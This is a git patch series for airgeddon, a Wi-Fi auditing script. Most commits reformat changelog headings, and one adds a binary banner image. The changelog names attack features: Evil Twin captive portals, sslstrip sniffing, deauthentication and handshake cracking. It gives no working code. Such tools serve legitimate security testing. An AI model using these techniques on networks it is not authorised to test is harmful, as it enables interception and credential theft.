Now optionally on Evil Twin captive portal attack you can choose between to have internet access or to use a "dns trick" - Fixed bug writing handshake files on some paths - Added possibility to get back to Evil Twin main menu from the internet interface selection menu -###4.3 +### 4.3 - Evil Twin attack added: captive portal - Some language strings changed - Now initial forwarding state is restored on exit - Fix for Linux which change interface name to a very different name while getting back to managed from monitor mode -###4.22 +### 4.22 - Portuguese translation updated (Thank you to "Luan") - Paypal donate button added on README.md - Bitcoin hash changed and bitcoin donate button added on README.md - Tested compatibility with Kali Linux 2016.2 -###4.21 +### 4.21 - Greek language translation added (Thank you to "xtonousou") -###4.2 +### 4.2 - Evil Twin attack added: with integrated sniffing using sslstrip - Evil Twin control window beautified and optimized for small windows -###4.11 +### 4.11 - Russian language translation added (Thank you to "MiAl") -###4.1 +### 4.1 - Evil Twin attack added: with integrated sniffing - Log parsing for Evil Twin attack with sniffing -###4.03 +### 4.03 - Some compatibility improvements for Raspberry Pi Raspbian Linux - Additional check for systems which use airmon-zc, now checks for lspci to avoid errors - Compatibility extended to OpenMandriva Linux - Compatibility extended to Kali arm version on Raspberry Pi -###4.02 +### 4.02 - New windows sizes calculation method for better viewing even in small resolutions. Dynamic system - Fixed bug restarting Network Manager on Arch Linux - Fixed bug restarting Network Manager using debug mode on some distros - Suggestion added about possible packet names after failing a dependency check -###4.01 +### 4.01 - Fixed bug cleaning temp files for Evil Twin attack -###4.0 +### 4.0 - Evil Twin attack added: Only AP to sniff with external sniffer - Created under construction message for non finished menu options - README.md beautified - Screen resolution correction feature added for some distros - Some minor improvements and bugfixes -###3.44 +### 3.44 - Screen resolution detection for optimal windows viewing - Some language strings changed - Deleted ods translations file. It was impractical -###3.43 +### 3.43 - Function created to generate dynamic separators on menus - Some language strings changed -###3.42 +### 3.42 - Compatibility extended to Arch Linux - Compatibility extended to Raspbian Linux for Raspberry Pi - Additional check for systems which use airmon-zc, now checks for ethtool to avoid errors @@ -151,14 +151,14 @@ - Auto-update can be disabled using a var (useful for repositories versions) - Auto change language feature can be disabled using a var -###3.41 +### 3.41 - Show network cards chipset while selecting interface - Some language strings changed - License updated to GPL3+ - Added Open Document SpreadSheet for easy translation to be used by collaborating translators - System of prefixes and colors for hints and strings pending of translation [PoT] -###3.4 +### 3.4 - Improved regexp to get new interface names after a change - Fixed bug managing paths containing blank spaces - New feature, drag and drop files on console window to entering file paths @@ -167,31 +167,31 @@ - Bash version check improved for future versions - Exit script code changes to differentiate when script was interrupted -###3.34 +### 3.34 - Ascii art intro added on script startup (animated flying saucer!!) - Bug fixed after putting card in monitor mode and the card name changed on some distros - Compatibility extended to Gentoo, Fedora and Red Hat Linux -###3.33 +### 3.33 - Bug fixed relaunching script after donwload a new version - Credits beautified - Known compatible distros unified in one array - "No check kill needed" feature method changed. Now based on Network Manager version - Changes on rfkill method -###3.32 +### 3.32 - Bash version check simplified - Bug with long interface names fixed - Changed trap management, now with buffered messages - Curl removed from essential tools. Now the script performs a separated check for update tools only used for auto-update - Compatibility extended to CentOS Linux -###3.31 +### 3.31 - Check for root permissions after failed essential tools check - Improved missing optional tools detection method and integration with menus - Menu separator lines extracted to functions -###3.3 +### 3.3 - SIGTSTP trap now handled - Minimum bash version check (v4) - Some language strings changed @@ -201,133 +201,133 @@ - Improved OS language detection method - Fixed bug in auto-update -###3.23 +### 3.23 - Compatibility extended to Cyborg Hawk Linux - Needed tools divided, essential and optional. Script can run now with essential tools even without some of the optional tools - Changed "No check kill needed" feature method. Now improved for Kali and Wifislax future versions - Bug fixed while checking for updates on slow connections - README.md beautified -###3.22 +### 3.22 - Cleaning handshake files now perform some checks to avoid corruption file problem - Capture files are checked before cracking looking for Handshakes and easy targeting - Fixed bug checking existence of files -###3.21 +### 3.21 - Auto-update feature. Script checks for newer version - Some language strings changed -###3.2 +### 3.2 - New offline password decrypt menu - Aircrack option to perform dictionary/bruteforce attacks against capture files - Removed autoclean after capturing a Handshake file - Changed version var to airgeddon_version for future version check (auto-update feature) -###3.11 +### 3.11 - Optional autoclean captured Handshake file feature - Some language strings changed -###3.1 +### 3.1 - Restoring initial state of cards on exit feature - "No check kill needed" feature added while putting card in monitor mode for some distros - Fixed bug checking tools -###3.02 +### 3.02 - Cleaning tasks on exit - Minor code refactor - Some language strings changed - Hint method improved -###3.01 +### 3.01 - Handshake tools menu added - Handshake capture feature - Handshake cleaning/optimizing feature - Random helping hints added (regarding the script zone) -###3.0 +### 3.0 - New menus, new structure - New Handshake features preparation (not working yet in this revision) - Code normalization -###2.33 +### 2.33 - Catalan language translation added (Thank you to "El Padrino") -###2.32 +### 2.32 - Autodetect OS language feature added - Some language strings changed -###2.31 +### 2.31 - French language translation added (Thank you to "Kcdtv") - Only one network autoselect bug fixed -###2.3 +### 2.3 - Compatibility extended to Parrot, Blackarch and Backbox Linux - Essential tools check improved - Distro compatibility check improved - Iwconfig use fix based on version - Pink color added -###2.23 +### 2.23 - Read "pause" functions now integrated with language strings - Title generator extracted to function - Improvements on colors - Changelog order changed. New changes now upper -###2.22 +### 2.22 - Minor print fail in ascii art at credits fixed - Disclaimer and requirements updated - Some typo errors fixed - Changes on compatibility check structure - Ubuntu and Debian Linux compatibility check added -###2.21 +### 2.21 - Wifislax 64bits compatibility bug fixed - Removed version from README.md file -###2.2 +### 2.2 - Changes to manage Wifislax airmon command in a better way -###2.11 +### 2.11 - More color features - Compatibility check minor bug fixed -###2.1 +### 2.1 - Compatibility check at beginning to support more distros - Changelog file added to project -###2.03 +### 2.03 - Interface detection method changed - Fixed bug for Kali 2016.1 -###2.02 +### 2.02 - Menu titles improvement - Converted to UTF-8 enconding. Special spanish chars bug fixed - Some minor code improvements -###2.01 +### 2.01 - Multilanguage support feature included - English and Spanish languages added -###2.0 +### 2.0 - Code restructuration - WIDS confusion attack added - Old attacks menu included - Traps managing feature -###1.03 +### 1.03 - Secondary xterm windows added - Explore for targets feature included - Code improvements -###1.02 +### 1.02 - Improved echo messages and colors - Aireplay deauth attack included - Monitor and managed options added -###1.01 +### 1.01 - Detect distro functionality included - Kali and Wifislax Linux compatibility - Rfkill added -###1.0 +### 1.0 - Initial commit From 6c327d1c83c95dca654881213f90bd5d6382e903 Mon Sep 17 00:00:00 2001 From: OscarAkaElvis Date: Tue, 2 May 2017 13:46:54 +0200 Subject: [PATCH 24/28] Updated changelog file --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e2883dbca..3df2c3fad 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ - Improved chipset detection, lsusb added to internal tools - Improved internet checking. Now more methods, not only icmp - Fixed error executing airgeddon after auto update on some distros - - Added license and readme files to kali package + - Added LICENSE.md and README.md files to Kali package ### 6.2 - Docker support added From c6070e723e2bdd59ee06714ff8d21df2d64d5407 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 2 May 2017 14:50:33 +0200 Subject: [PATCH 25/28] Updated .gitattributes to add new file types --- .gitattributes | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.gitattributes b/.gitattributes index 20dc9c4fa..71c89bedc 100644 --- a/.gitattributes +++ b/.gitattributes @@ -7,8 +7,9 @@ *.md text *.db text -# Executable binaries +# Executable binaries/packages *.deb binary +*.xz binary # Binary image formats *.png binary \ No newline at end of file From 4cc597499e06efcb658a72dd393e86f40763677d Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 2 May 2017 15:22:59 +0200 Subject: [PATCH 26/28] docker banner updated --- imgs/banners/airgeddon_docker.png | Bin 40480 -> 40267 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/imgs/banners/airgeddon_docker.png b/imgs/banners/airgeddon_docker.png index adb8ae2a8ec0f91a072355d6265fc7af09ac06c6..89d2099ed2c01378e08f1c7233b0eec8b3fff34b 100644 GIT binary patch delta 23057 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 